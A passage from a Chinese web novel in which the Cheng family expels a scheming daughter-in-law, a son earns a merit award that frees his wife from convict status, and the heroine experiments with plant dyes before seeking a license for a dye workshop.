程诺拿起身后的杯盏砸在武春来身上:“你有什么资格说别人是白眼狼!家里为了捞你出监狱,上下打点,你偷盗的银子是我出的,罚款是娘付的,你的一双女儿是大嫂二嫂在照顾,就连盼儿得知你要回来也跟在三个身后替你找祛灾的杨柳,你是怎么报答我们的?” 武春来震惊地抬起眼:“什么?银子是你们交的?” 随即她很快摇头:“不可能,你骗我,明明是我爹捞我出来的,你们怎么可能好心帮忙,我就是你们告发送到监狱的,如今摘果子装什么好人!” 程母见她一副鬼迷心窍的样子,直接回房拿出单据,丢在她面前,“瞧好了,上头有官府的公章,罚款加上赔偿一共三十五两银子,你爹帮你缴的钱,你让他拿出证据来啊!” 武春来看着上头的落款,确实是程诺的名字,心里又震惊,又不解。 是她弄错了? 爹为什么没告诉她。 是了,她蠢了,家里若真有钱,爹怎么会先捞她,肯定会先把弟弟救出来。 是她错怪了程家人? 不是,不是,程家想用这种方法让她愧疚,打一巴掌给个甜枣。 武春来把自己哄好了,顺理成章解释了程家人的所作所为,用力将文书捏成一团,“那又怎么样,本来就是你们欠我的,要不是程四娘告发我弟弟,我们根本用不着承受牢狱之苦。” 程三虎绝望地闭上眼,死不悔改,其心可诛。 “二嫂,家里你识字最多,劳烦帮我写份休书。” 顾寒栀点头:“好。”转身回屋拿来笔墨纸砚,挽起袖子,落笔顺畅,很快写完,并且冲在场的各位读了一遍。 句句条理清晰,引经据典,细数武春来的几大罪证,光七出就犯了三条,听得人拍案叫绝,不休不行。 程三虎爬起来,毫不犹豫按下手印,“你当初陪嫁的两床被子,五钱银子,我全还给你,按下手印,从此之后你我再无关系。” 武春来哪肯听,程家如今蒸蒸日上,生意越做越红火,眼瞅着要挤入富户的行列,她陪着全家吃糠咽菜十年,好不容易要享福了,想一脚把她踹开,没门! “我不接受!我不接受!该受的苦我都受了,小盼儿一根头发丝没伤到,反倒是我的珍珠替她受了罪,凭什么还要怪在我头上?” “不怨你怨谁?” 一道熟悉的声音从门外响起。 程二顺和十七大跨步走进来。 程二顺按刀而立,眉骨上一道新疤斜贯至鬓角,衬得眼神愈发沉冷,不久前那个握不稳枪,只会干农活倒腾木艺的男人,如今肩背已如铁铸,连呼吸都带着马背上磨出的粗粝。 他开口时,嗓音低哑如锈刀刮过砺石:“多行不义必自毙。” 站在他旁边的男人,依旧是程诺记忆中的俊朗,他跟一月前离开时并无多大区别,只是眉眼多了丝沉稳,不同于原先在程家的死气。 怀里抱着的女孩正是珍珠,可惜眼神呆滞,双目无神,程诺喊了好几声她都没反应。 十七解释:“吓到了,发现她的时候,跟好几个孩子关在狗笼里,每天被鞭打,身上落了不少伤。” 程诺心疼得红了眼,想上前又怕吓到孩子。 武春来蹭得从地上站起身,扑到珍珠面前,试图将孩子从十七怀里抢过来。 “珍珠,我的女儿……” 听到声音,一直呆愣的珍珠,终于有了一丝反应,眼里的呆滞,瞬间被惊恐代替,更加努力地往十七怀里缩。 “不要!坏娘亲!坏外祖!你们都是坏人。”小孩子的哭声像是刀子般扎在武春来心尖上。 武春来慌乱解释:“不是的,是外祖弄错了,珍珠,娘不知道被抓走的人是你。”说着,武春来一股气上不来下不去,“你这孩子,为什么要撒谎,若不是你偷偷跑回程家,也不用遭这场罪!” 珍珠泪眼涟涟望着她:“那你想抓谁,盼儿妹妹吗?” 被麻袋捆着的时候,她听见那两个抓她男人的对话,他们是来抓长得好看的女孩的。 六七岁,长得好看。 只能是小盼儿妹妹。 在被鞭打受罪的几天里,她又从拐她的男人口中得知,她是被外祖父卖掉的。 见武春来不说话,珍珠更加笃定内心的猜测:“所以,如果不是外祖弄错了,被抓走的人会是珍珠妹妹,对吗?” 武春来话哽在嗓子里,她难道要在女儿面前承认,是她想把程盼儿卖到青楼吗? “大人的事,小孩子别插嘴。” 珍珠眼泪成线往下掉,搂住十七脖子的手更紧:“十七叔,我不想看见她,我要小姑姑,我要盼儿妹妹。” 这下连娘都不叫了。 “闪开。”十七冷声道。 武春来还想拦着不让走,结果十七冷冽的眸子一扫,像是无数刀剑刺在她面前,再进一步,就得被戳成窟窿。 珍珠被交到程诺怀中,程诺立刻带着她下去换药换衣服,金玉跟着一起去了,至于堂内的情形如何,她不想管,也管不着了。 以后她只想好好照顾妹妹,跟着小姑姑学赚钱的本事,好好过自己的日子。 第一百九十四章 染布 武春来最终还是被休了,任凭她如何哭闹,也换不回全家对她的同情。 偷盗在前,试图拐卖孩子在后,不管是哪一件事,错得离谱,即便是闹到衙门,她也站不住脚。 她灰溜溜地带着嫁进程家时的两床被褥,五钱银子,选了个日暮时分回了武家村老家。 珍珠躲在房里哭了半日,金玉和小盼儿一直陪着。 她不明白休妻是什么意思,但她知道娘这一走,再也难回来了。 她想娘在家里,但娘会让家里人不高兴,她会做出伤害家人的事情。 那她宁可永远见不到娘,也要保证全家人的安全。 武春来的离开没有给程家带来太长时间的阴郁,接踵而来的是一件大喜事。 程二顺和十七此次在外,为衙门办了两件事,行侠仗义下又救了十几个拐卖儿童,都是功劳。 本以为会跟之前一样,赏赐的文书在二人回来第二天送到,没想到第二天、第三天……一连过了七八日依旧没有消息。 程诺还偷偷跑到衙门找杉叔。 杉叔什么都没说,只让她安心回家等消息。 “二哥,你这回能立一等功吗?”程诺站在廊下,看夏雨连绵,望着失神的程二顺问。 程二顺摇头,他已经在门前驻足好几日,那叫一个望眼欲穿:“不知道,希望可以。” 就在众人以为出了什么岔子时,终于在第十日,官府的赏赐送上了门。 按照先前官府发布的告示,但凡能顺利绞杀贼首的,官升一级,赏银二十两。 剿杀贼首的功臣是程二顺。 官兵笑问:“二顺兄弟,我们知道你不要赏赐,已经帮你问了,杀贼匪能立个二等功,所以这升官和二十两银子,你不要也得要。” 程二顺叹了一口气:“官府怎么就不能让我累计功绩呢,改明儿我得找秦大人说道说道。” 程诺喜上眉梢:“二哥,你出门办公前,衙门不是让你当了个小官吗?是伍长还是什长来着?” “伍长,五人为伍,伍有长,常由队伍中的勇力者充任。”轻飘飘的女声,自众人身后传来。 程二顺牙齿咧到耳后根,“媳妇~” 程诺等人肉麻地哆嗦两下,这次回来后,程二顺越发粘着顾寒栀,几乎到了走哪跟哪儿的地步。 原因无他,媳妇愿意给他好脸了,虽不至于像赵氏和程大壮般老夫老妻恩爱,至少顾寒栀天冷会提醒他添衣,刮风告诉他带伞,入夜被褥中也热情起来,咳咳……这些都是与华这小妮子告诉程诺的。 程诺发誓,绝不是她听墙角听来的。 来送信的官兵,跟前两回不是一个人,第一次见到传说中的顾氏,眼睛都看直了。 真漂亮,不愧是从前的大小姐,气度相貌一绝,难怪会把程兄弟吊得跟翘嘴一样,拼了命也得给母子三人脱籍。 他要是有这么漂亮的媳妇,他也……算了,还是小命要紧,一等功啊,那可是一等功才能脱籍,一等功可以连升两级,到时候百夫长、千夫长一当,女人还不乌泱泱涌上来。 程诺看送信的官员飘飘然,抬头望天,不知在神往些什么,出声:“官爷,那我哥升一级是不是什长?” 管五个人变成管十个人,好像也没多大差别。 官兵摇摇头:“非也,秦大人考虑到程兄弟救助了被拐儿童,此次升官直接晋升成百夫长,衙门里不是没有过这样的先例。” 程母激动地抱住儿子:“百夫长好,听着就威风。” 官兵笑道:“老太太,百夫长算什么,上头还有管千人的千夫长、统辖两千人的校尉,以及一万人的将军。” 程母只在老一辈口口相传中听过这些官职,从来都没见过这么大的官儿,如今倒好像近在眼前,触手可及一般。 程诺听半天,没听到重点。 不是说此次最大的功劳是剿灭胡族在南方的奸细吗? 这功劳怎么都应该比杀悍匪高得多吧? 果然,下一秒,送信的官兵掏出另一张黄麻纸做成的敕牒,卷轴用黑角作装饰。 他一改先前带笑的脸,整个人变得十分庄重,连带着程家人都不敢大喘气。 只听“咚”的一声,轴头黑角相撞,黄麻纸在眼前徐徐展开。 没来由的,程家人的膝盖骨软了下来,一个接一个跪在地上。 “敕曰:百夫长程二顺,戮力剿匪,斩胡族奸细等首级五具..……特赐一等功……” 官腔拖长的尾音里,程二顺盯着文书上朱印——印泥太厚,渗开如血渍,恰似那奸细喉头喷出的颜色。 官兵念到“特赐一等功”时,程家人一阵骚动。 没人注意敕牒边缘的霉斑,那是驿站马背疾驰三百里时,淋了雨水留下的痕迹。 难怪程二顺回来近一旬,赏赐的文书迟迟不来,原来这份赏赐是从京都送来的。 普天之下,只有皇帝配用“敕曰”二字。 可此时大伙儿的心思不在“敕曰”上,也不在赏赐的银子上,更不在皇帝身上。 一等功。 是一等功! 程二顺终于拿到了心心念念的一等功。 送信的官兵看着程二顺呆愣的模样,忍住笑继续往下读,“罪奴顾氏,准除罪籍,改入良民——” 那声音忽远忽近,像隔着一世那么长。 顾寒栀接过黄麻纸,盯着敕牒上朱砂勾画的“顾”字,竟与抄家那日圣旨上的墨迹重叠。 “恭喜百夫长心愿得偿,兄弟们给你们夫妻二人摆了酒,一定得赏脸啊!” 程二顺已经激动得要哭了:“一定来,我肯定来,让他们把肚子空好了,今晚不喝趴下,谁也不许走!” 程父程母欢喜地将人送出门,再一回头,看见二儿子不知何时将顾氏举在肩膀上,高喊着“我做到了,我做到了。” 与君与华围在父母下方,又哭又笑。 程家其他人也是喜极而泣,天大的好事,程家许久没有这么大的好事发生了。 程父大手一挥:“告诉左邻右舍,我程家明日要大摆宴席,卤肉铺子和早食铺子全部半价,不限量供应!我要让所有人知道这件天大的好事!” 程母哭笑不得推搡老头子:“你想累死我啊。” 话虽如此,脸上的笑意做不得假,“罢了罢了,累就累点吧,谁让我儿子有本事,我以后就是百夫长的亲娘了。” 赵氏:“我去买炮仗。” 程大壮:“我去定宴席。” 程三虎:“我去宴请四邻。” …… 热闹的宴席一连摆了三天,整个榴花巷的人都知道,程家出了个勇猛无比的儿子,当上了百夫长。 不仅如此,程二顺还是个疼媳妇的,舍得一身剐,不要军功要美人,疼媳妇疼到骨子里。 那几天,榴花巷的爷们看到程二顺都得剜他两眼,原因无他,谁没晚上被媳妇揪住耳朵数落过两句。 “瞧瞧人家的相公,你再瞧瞧你!” “同为女人,我怎么没顾氏那么好的命,同为男人,你为何跟程二郎差这么多?” “人比人的死,货比货的扔!” 顾氏走到哪里,少不得妇人们艳羡的目光,当然也有些嫉妒红了眼的,背地里嚼舌根。 “妲己再世,红颜祸水,好好的爷们儿为了她军功不要了,本来能当校尉的儿郎,只得了个屈屈百夫长的官职。” “要我说,还是顾氏的枕边风厉害,换做我,就是一辈子顶着罪奴的身份,也舍不得让老爷们刀尖舔血,生肉滚刀!” “谁让人家长得漂亮,听说从前还是千金小姐,不知道一朝从良,程家二郎能不能看得住这只落了毛的凤凰……” 每当耳边刮过这些话,程诺将手中的泔水泼出去,赵氏叉腰指着对方的鼻子骂道:“吃不着葡萄说葡萄酸,你是舍不得你家老爷们吗?那是你家男人没本事!” 被戳穿心思的妇人臊红脸,又不敢明目张胆骂回去,程家如今不一样了,有儿子当上百夫长,女儿又跟新来的治水监察关系深厚,生意红火日进斗金,眼瞅着跟关家小公子的生意开展得如火如荼,下一步马上又有新店开业,谁敢在这个档口得罪。 “你……你少得意,又不是你男人当官,指不定心里比我们难受多了,半夜被子都嫉妒地搅烂了吧。” 赵氏笑弯了腰。 顾氏上前挽住她的胳膊:“大嫂,跟她们废什么话,二顺的的赏银在我这儿,眼看着天越来越热,我打算给家里姑娘们做一身夏装。” 妯娌俩亲亲热热,哪有半点不合的样子。 先前妇人的话不攻自破,灰溜溜走了。 夏装想要凉快,布料清透是关键。 普通人家存银有限,常用葛布,优点是吸汗排湿,价格低廉,缺点是质地粗糙,颜色单一,多为原色,即灰白就是褐色、蓝色。 因此每到夏天,街道田埂上一水的灰色身影,偶尔夹杂几件不鲜亮,死气沉沉的蓝,颜色黯淡得像是蒙了层灰,要多单调有多单调。 想起从前那些色彩斑斓的时装,程诺心中突然闪过一丝念头。 “大嫂,你认识会染布的人吗?”从布店回来后,程诺试探地问道。 赵氏正跟孙婶子一起准备一家子的晚饭,熟练的刀工,切得案板上的黄瓜几乎出现残影,头也没抬:“染布?那是城里大染坊的事,咱们镇上都未必有,穷人哪穿得起鲜亮的颜色,一件靛蓝衣衫得花半个月的米钱。” 程诺追问道:“我常看见东市路边有妇人卖自家织的布,颜色有白,有灰,有时候偶尔能见到黄色,大嫂你知道她们是怎么染出来的吗?” “哦~那不难,蓝色是蓝草染的,红色是茜草染的,黄色是栀子染的,想上色容易,但想把布料染得均匀就难了,”赵氏好奇地看了她一眼,“你问这些做什么?” 程诺捏起半块黄瓜塞进嘴里,掩饰眼中的兴奋,她大学时因为爱好,选修过服装设计,虽不算太专业,基本原理还是知道的,后来还一度痴迷过传统染色工艺,如果能把现代知识应用在这里…… 第二日下午,除了顾氏留下照顾孩子们,程诺带上家里的女人们上了鹿山。 她记得茜草可以染红色,槐花能染黄色,核桃皮能做棕色染料。这些植物在山上应该都能找到。 山上遇到不少大梨村的村民,大伙一听她们来找东西,也不问找来干什么,十分积极地帮起忙。 日头西斜时,程诺满载而归。 竹篓里不仅有茜草、槐花,还有紫草、栀子、蓼蓝等植物。 她偷偷从灶房拿了口小铁锅,在后院架起简易炉灶。 赵氏好奇道:“四娘,你真打算自己染衣服啊?” “是,大嫂,帮我把我房里昨日刚买的布料拿来。” 赵氏颇为心疼地交出昨日刚买的新布料,“要不我找几件旧了的衣衫,先给你练练手吧?” 程诺觉得有道理,她不敢保证实验一次成功,新布料是顾寒栀送的,虽然染废了也能穿,到底是人家一片心意:“那要白布,先试试茜草染红。” 她将茜草根洗净捣碎,加入清水煮沸。 布料浸入后,众人一起期待地盯着锅里的变化。 然而,布料只呈现出淡淡的粉红色,而且一漂洗就褪了大半。 赵氏却很激动:“上色了上色了,是不是成功了。” 程母赞赏地看着女儿,“如果不是娘亲眼看见你从我身上掉下来,我肯定不会相信这么多才多艺的闺女是我孩子。” “娘、大嫂,你们夸早了,这才哪到哪,”程诺重新漂洗一遍,颜色几乎掉干净了,“咯,多洗几遍颜色都没了。” 赵氏垮了脸,随即安慰道:“没事,才第一次,多试几次没准就成了,我再去给你找布料。” 程母也道:“之前隔壁苏婶子给过我一块净水的明矾,听说布料的颜色就是用这东西染出来的,我去找来给你。” 明矾不就是程诺那个年代的媒染剂,民间染色工艺多是依靠明矾才有所进步的。 几人重新开始试验,这次程诺先将布料泡在明矾水中,再放入茜草染液,随着时间的推移,布料逐渐呈现出鲜艳的红色,比第一次深了好几个度。 又在清水中漂洗两遍,上头的颜色依旧鲜亮。 “成功了!” 第一百九十五章 想开个染坊 程母激动地捧着那块红布,在夕阳下宛若一团炽热的火。 赵氏端详着布料,露出惊喜之色:“这颜色……不比布庄卖的差。” “只可惜,颜色不均,应该是布料未充分清洗,存留的油脂和杂质导致染料吸附不均。”程诺看着红一块白一块的布料,“这次拿新买的白棉布试试,改用温水,搅拌的时候注意让颜料充分溶解。” 接下来的日子,程诺像着了魔似的研究各种植物染料。 她发现不同媒染剂能产生不同色调——明矾让颜色鲜亮,铁锈水能使颜色变暗沉,草木灰则增加色彩的饱和度。 不到半月时间,她琢磨出四五种颜色的布匹:茜草红、槐花黄、紫草紫、核桃棕,每种颜色鲜艳夺目,而且经过反复测试,色彩相当牢固。 “我想开个染房。”一天晚饭后,程诺在饭桌上宣布道。 程母的饭碗差点掉在地上:“这……太快了吧,染坊不比开吃食铺子,既要场地,又要工人,还要本钱,咱家虽攒了些银子,但对比开染坊的费用,九牛一毛啊!” 赵氏也这么想的,连连点头:“小姑,要不你再考虑考虑,开染坊是大事,马虎不得。” “可以先从小规模做起,”程诺早想好计划,“我们可以先染些手帕、头巾去集市卖,看看百姓的购买意愿,等攒够名头再买更多布料,届时染坊开起来,慕名而来的顾客肯定不少。” 程母和赵氏觉得可行。 “要不直接在咱家早食铺子旁摆个小摊,每天人流量大,过往食客多,不用额外找场地,也不需要专人看摊。” 顾寒栀考虑得比其他人更周全:“官府对染坊管制严格,私自染布要交重税的,四娘,你要不先前衙门问问手续,哪怕是小本买卖,按照规矩办事总不会错,哪怕多此一举,日后若有人问起来,或者有心之人眼红,我们也有话堵他们的嘴。” 顾氏不愧是读过书的,比一般人想得更长远。 程诺:“二嫂说的有道理,我明天就去衙门找杉叔问问,有什么手续,一并办了。” 衙门内。 秦臻杉坐在书案前,正落笔书信。 大黑狗匍匐在他脚下,黝黑的鼻尖不停伸缩,小腹位置起起伏伏,睡得正香。 偶尔换个姿势,跟人一样四脚朝天,露出微微发白的肚皮,二胡一样的呼噜声在偌大的大堂内响起,隐隐带着回音。 不远处传来脚步声,大黑狗耳尖一颤,顿时从睡梦中惊醒,目光如炬盯着门前方向,直到看见来人穿着熟悉的衙役服,鼻尖哼出一口气,像是怪对方打扰它的美梦,重新趴在地上,继续享受夏日午后的好时光。 “大人,程家四姑娘来了,问您有没有空。” 秦臻杉正打算给此次灾区重建工作中的有功百姓,上书求赏赐,听到程诺的名字,眉眼一抬:“四娘来了,快请进来。” “是。” 衙役刚行礼准备下去,眼前“蹭”地闪过一道黑色影子,他还没看清,黑影已经如闪电般消失在视线中,没了踪迹。 再一看桌案底下,原本躺着小憩的大黑狗,不见了。 程诺站在衙门前,身后跟着一起来的顾寒栀,看门的衙役认识二人,道:“日头晒,二位来廊下等吧。” “多谢小哥,”程诺将手中的食盒打开,盛出一碗冰饮递上前,“小店新出的水果冰饮,小哥尝尝鲜。” 衙役笑着接过来:“客气了,程姑娘好些天没来,最近在忙什么,秦大人前两天还念叨你呢。” 话音刚落,大门口冲出来一道黑色身影,瞬间扑在程诺身上,险些撞翻她手中的食盒。 “烈风,好宝宝,想我了是不是?”程诺摸着它的狗脑袋。 大黑狗身体扭成麻花,尾巴摇得跟风扇一样,打在站它旁边的衙役身上。 衙役顿时觉得小腿麻了,烈风的尾巴威力太大,哥几个曾经用陶盆试验过,那力道,敲得“砰砰”响,差点把陶盆敲穿了。 烈风在前头带路,程诺和顾寒栀紧跟其后进了衙门。 “杉叔,忙着呢。”程诺提着小食盒走进秦臻杉的屋子。 自上回程诺来询问程二顺的情况,已有月余没见过秦臻杉,连秦臻杉邀她小聚,也被她以店里太忙拒绝了。 秦臻杉瘪瘪嘴,并未抬头,恍若未闻。 程诺知道,他这是使小性子呢。 “我给您带了卤肥肠,还有您爱吃的松鼠桂鱼和八宝鸭。”程诺打开食盒,菜是出门前现做的,还冒着热气,连小酒也准备齐全了。 盒盖子一掀开,香味瞬间在屋内蔓延开,烈风哈喇子直流,乖巧地坐等着,眼里亮晶晶,写满了“快给我吃”几个大字。 “哼。”秦臻杉放下笔,“休想用美食诱惑我,你现在架子大了,我三请四请都请不来你。” “冤枉啊,杉叔,真的是店里太忙了,”程诺将碗筷摆好,“这不,我刚有时间,立马来给您赔罪了。” 秦臻杉斜眼看她。 他还不知道程诺,嘴上说得好听,无事不登三宝殿。 既如此,他何必放着好吃的不吃,思及此,秦臻杉理直气壮都上前,接过递来的筷子,大快朵颐起来。 就是这个味道,衙门后厨试过多少次,总差点意思,现在隔三岔五他就得派人去光顾程家卤肉铺,吃不到心心念念。 不知道等他回京,日子怎么过。 “永安县的灾情后续工作处理得差不多,用不了几日我就得回京复命,这一走,少说得几个月,没有你家的卤肉下饭,不敢想日子多难熬。”秦臻杉痛心地往嘴里塞进一口肥肠,悲伤又幸福地大口咀嚼起来。 程诺:“简单,我回去就把卤肉配方写出来,交给杉婶。” 秦臻杉扯扯嘴角,笑道:“你赚钱的营生,就这么交给我,不怕我回头在京都开一家秦家卤肉铺,生意遍布大盛,抢你生意?你不担心?” 程诺无所谓地摆摆手:“您家大业大,哪会瞧上我这小本买卖,就算真开一家秦家卤肉铺,有您的名号当金字招牌,肯定能火爆朝野,卤肉方子在您手上发扬光大,就相当于我程家卤肉名扬四海,感谢您还来不及,怎么会担心?” 到时候,她正好仗着秦臻杉侯爷的名号,编个故事,将程家卤肉树立成老品牌。 “好了,溜须拍马的话少说,今天来找我做什么?”秦臻杉嘬了口小酒。 “我想开一家染坊,听说手续繁杂,特来请教山叔,有什么需要注意的地方。”程诺殷勤地给秦臻又杉倒了杯酒。 第一百九十六章 爱妻者风生水起 秦臻杉乐了:“你真会给自己找麻烦,两家铺子不够你忙,如今又把主意打到染布上,你是多喜欢银子。” “谁会跟银子过不去,”程诺笑得宛若灿阳,这份坦然的世俗非但不让人厌烦,反倒直白得可爱。 秦臻杉:“不是叔有意泼你冷水,染坊不同于你摆摊赚吃食钱的小打小闹,其中要用的人力物力财力,缺一样都办不成事,别说是小小清河镇,即便是永安县不过只有两家染坊,还都是祖上传下的老字号,几辈人琢磨出的心血,你新兵蛋子,拿什么跟人家比? 先不说别的,光染色的技术,你有吗?如今市面上常见的颜色,你能染出几种出来,若是真建立染坊,有什么能拿出来竞争的独家颜色?” 秦臻杉料定她是一时心血来潮,不知在哪见到什么,起了心思,正想说两句打消她的想法。 突然,几块鲜艳的布料摆在眼前,布料只有巴掌大,有汗巾、帕子等随身携带的小物,也有一块三尺来长的长布料,正由跟着程诺一起来的妇人手执。 汗巾、帕子颜色各异,红得似火,宝蓝似珠玉,盎然的绿宛若翠鸟身上的羽毛…… 最让人吃惊的,是那块三尺长的布料,是最难染就的紫色。 紫色尊贵,主要原因不仅因为颜色鲜亮,更因它繁琐的染色工艺,《齐名要术》有言:“紫草染需“七染成缥(浅紫),九染成绛(深紫)。” 每次染后还需氧化晾晒,周期长达月余,其中耗费的人力物力不知凡几,根本不是普通老百姓能承受得起的。 朝中官员也只有四品以上才能身着紫色官府,比如秦臻杉正穿在身上的官服,正是紫色,颜色瞧着甚至不如顾寒栀手中的厚重。 “这……这是你染的?”秦臻杉震惊地长大嘴巴,她知道程诺厉害,会许多常人不懂的巧思,可染布要的不仅是小聪明,更要日积月累的实践,很多染技一行钻研数十年的老人,也未必能染出二人带来的紫色。 程诺:“是我染的,杉叔,您瞧瞧,我这手艺能开染房吗?” 秦臻杉咳嗽一声,为刚才对程诺的不信任感到尴尬,可他依旧不放心,劝道:“即便你技术有了,其他的呢,去哪招一批染布的熟练工,去哪筹集建染坊的资金,还有染坊需配备染缸、灶具、晾晒场,部分还需水源,这些你都考虑过了吗?” 他像是个操碎心的老父亲,生怕程诺脑门一热作出决定,实践过程中累着苦着。 程诺点头:“您说的有道理,细枝末节的地方我还没考虑得当,至于拉资金招人手的事,我心中有了考量,我还想问问您政策上的事,朝廷如今对染坊管控严格吗?支持民间染房吗?” 接下来的时间,秦臻杉仔细跟程诺讲述了如今朝廷的政策。 除了皇帝专用的明黄被皇家染坊垄断,另外高祖曾下诏:“庶人不得服紫”,违者以僭越论处,所以程诺研究出来的正紫色,除了摆在家里瞧一瞧,没多大用处,根本卖不出去。 另外,绯色是五品以上官员专用,百姓只能在婚假等特殊场合短暂使用,但浅红,浅绛等颜色并无限制。 绿色和青色是低级官员专用,但民间限制宽松,百姓可穿相近色,避免与官府完全一致,这两类颜色,也是读书人的最爱。 从前的孟南洲,包括读了十几年书的关长宏,都是绿青两色的忠实拥护者。 官府如今对民间染房管制放松,不再是垄断制,普通老百姓有能力者,也可开染坊,但需要先取得执照,也就是程诺前世的资格证书,并缴纳相应赋税,最好能跟当地的行会取得联系,会对日后经商有所助益,即所谓的“拜码头”。 程诺皱皱眉:“竟然有这么多门道。” “你以为呢,跟卖早点一样的小打小闹?这里头的门道多着呢,”秦臻杉无奈地摇摇头,“执照的事,我来帮你想办法,招人和资金就得靠你自己了。” 程诺喜笑颜开:“就知道杉叔对我最好了,等我的染坊成立,请杉叔来剪彩哈。” 秦臻杉鼻尖哼哼,嘴角却带笑,俨然一副嘴硬心软的模样。 正事说得差不多,他终于有时间将注意力放在屋中一直默不作声的妇人身上。 进屋开始,顾寒栀只字未言,一直安安静静待着,跟一汪平静无波的清泉,幽静深远。 秦臻杉凝视她片刻,幽幽开口:“你就是顾氏,从前顾大学士的嫡女?” 顾寒栀双膝跪地,恭敬行了一礼:“罪妇顾寒栀,见过安乐侯。” 秦臻杉声音冷漠:“从前竟不知你的过往,程家二郎已为你脱籍,怎么还自称罪妇?他尸山血海挣回来的功绩,成全了你的名声,红颜祸水,巧舌如簧,这点倒是跟你尸位素餐的父兄有的一拼。” 程诺印象中的杉叔,一直是和蔼可亲的长辈形象,偶尔贪吃像个小孩子,这还是她第一次见到他气度巍峨的上位者姿态。 一番话说得很重,准确说是非常难听了。 跪趴在地上的顾寒栀身子明显抖了一下。 程诺想说两句缓和气氛,却被秦臻杉抬手拦下,这是不让她插嘴了。 “怎么,本侯冤枉了你,还是冤枉了你父兄?”秦臻杉眉间恼怒之色尽显,“当年,科举舞弊一案,你父亲身为监考官,利用职权,将家世清贫的学子考卷调换给你草包兄长,不仅如此,还收受贿赂,多次纵容狸猫换太子的戏码,他当主考官的那些年,多少有学之士因为他错过为我大盛尽忠的良机。 实话告诉你,当年是我上书陛下,要求严查重罚你们顾家,你的父亲顾北望本至少是个凌迟处死的罪名,没想到竟让他活了下来,流放三千里根本抵消不了他犯下的罪孽。” 程诺知道顾家是犯了大罪被罚的,没想到竟然是科举舞弊这样的大案。 秦臻杉是戎马半生的战士,文人与武人本就不对付,更何况顾寒栀的父亲在其位不谋其政,本是为朝廷输送人才的科举,成了他弄权受贿的场所,让他们这些马背上出生入死的武将如何能接受。 他们尸山血海为国为民,结果朝廷里污浊不堪,官员腐败坐享其成,换成谁心里都不好受。 顾寒栀心如刀割,父兄的作为,她也是事发后才知道。 此次事件虽与她无关,但家族一荣俱荣,一损俱损,父亲大学士官职带来的荣誉她享受到了,金钱名利她支配过,“我是无辜的”几个字她张不开口。 顾寒栀再次行了个大礼:“父兄罪有应得,陛下洪恩,没有对顾家赶尽杀绝,如今父兄族人在北地服役,一为赎罪,二为感谢陛下恩泽。” 她深深俯首,额抵冷砖,脊背却挺得笔直,如风雪中未折的竹。 “家门蒙尘,本应随亲族共赴边荒,以赎罪愆……今蒙大人垂怜,斡旋天听,使残躯得留喘息之地。此恩此德,寒栀纵碎骨难报!” 没有秦臻杉的有意帮衬,以程二顺的资历接触不到暗杀胡蛮间隙的任务,她想脱离罪籍不知还要多少个三等功、二等功,有生之年未必等得到。 这也是今天顾寒栀一定要跟着程诺来衙门的原因。 秦臻杉是她跟两个孩子的恩人,再造之恩,不能不谢。 “你不用谢我,要谢就谢朝廷宽仁,自今日起,你要多做善事,为你父兄积德,偿债赎过。”秦臻杉喝了口侍从递过来的茶盏,终是缓了神色,“你看人的眼光不错,程二顺是个顶天立地的男子汉,也是个知道疼人的好丈夫,老话说得好,爱妻者风生水起,这一点,倒是跟我很像……” 话音未落,一道熟悉的女声从门外响起。 “城墙拐角抹水泥——厚上加厚,一把年纪在小辈面前胡说些什么,也不怕人笑话。” 妇人约莫四十上下,一身墨青色骑装束得利落,腰间悬挂一把鎏金小金刀,刀鞘上的缠枝纹磨得发亮,她大步走进屋,鹿皮靴踏在青砖上锵锵作响,半点没有闺阁妇人莲步轻移的做派,却飒飒英姿,更让人移不开眼。 她上前搀扶跪在地上的顾寒栀,一双凤眸瞪了丈夫一眼:“说话就说话,干嘛让人跪地上,地砖多凉啊!二顺媳妇,站起来,别理他。” 秦臻杉听着屋外聒噪的蝉鸣,再看夫人打马归来额上的汗珠,都近大暑了,实在想说一声:夫人,你还是别睁着眼睛说瞎话了。 可他哪里敢,忙站起来将位置让给夫人,替她捶着肩膀,殷勤道,“不是我让她跪的,四娘带着好吃的来看我,程家老二的媳妇非要谢谢我。” 永乐侯夫人这才想起,前些日子衙门里发生的大事,大伙儿口口相传,谁都知道新兵蛋子里出了个情种,拿功名给媳妇换了良民的身份,一时间,大伙儿为此争论了许久。 到底是前途重要,还是女人重要。 现在也没争论出个所以然。 “谢他做什么,那是你家男人的功劳。”永乐侯夫人一手拉程诺,一手牵起顾寒栀,“走,到我屋去,好久没见,咱们说说话。” 从衙门离开时,天已经黑了。 秦臻杉夫妻盛情难却,邀二人用了晚膳,程诺顺道将秦臻杉爱吃的几道菜的做法,跟他们从京都带来的厨子细细交代,直到厨子能做出八九分相似,才坐上安排的马车回到榴花巷。 十七在门口等了许久,见二人平安归来才放心。 顾寒栀被一双儿女拉走,留下程诺和十七。 “怎么去了这么久?晚饭吃了吗?”他问。 程诺:“开染坊要注意的事情太多,一聊忘了时辰,杉叔杉婶过几日要离开永安县,邀我二人用了晚膳,我还教他府上的厨子做了几道杉叔爱吃的菜……” 十七笑道:“永乐侯带在身边的厨子至少是宫里干了几十年的御厨,被你指点厨艺,不得气的半夜爬起来捶床。” 程诺:“小人之心度君子之腹了吧,人家不耻下问,是主动来找我的。” 夜风微凉,吹动程诺耳边散落的几缕黑发,突然她闻到一丝酒气,来自身旁男人。 “你喝酒了?”程诺上前一步,跟男人的距离咫尺之遥,鼻尖轻嗅,笃定道,“你喝酒了!” 十七闻了闻衣领:“一点点,味道有这么大吗?” “怎么了?心情不好?”程诺睨着眼睛瞧他,程家没有特殊事,饭桌上是不见酒水的,更重要的是,认识十七这么久,从没见他沾过一滴酒。 “难道是我二哥得了功勋表扬,你没有,心里不高兴了?”程诺用肩膀撞了撞他,“我听二哥说,悍匪首领是你杀的,留下最后一刀让他补,这功劳本来应该是你的。” 十七无所谓:“他比我更需要奖赏,我又不需要给谁脱籍,也没人眼巴巴等着回去。” “酸!”程诺故意捏起鼻子,“你不止喝酒了,还喝醋了。” 十七细长的眉眼扫了她一下,转身要走,衣摆被人抓住,转头看到那双素白的手腕往下轻拽了两下。 手腕的主人,软了口吻:“好了,看在你帮我二哥二嫂一场的份儿上,请你喝酒。” “我喝过了。” “那就再喝一场,今晚月色好,不赏浪费了。” 程诺偷溜进程父房里,摸出两瓶好酒,带着十七一起上了屋顶。 屋顶是个好地方,聊天吹风,喝酒看戏。 程诺先喝了一口,这个朝代还没有发展出蒸馏技术,老百姓常喝的酒,多是粮食发酵成的米酒或黄酒,度数并不高。 除非像武松一样大碗喝,否则想醉也难。 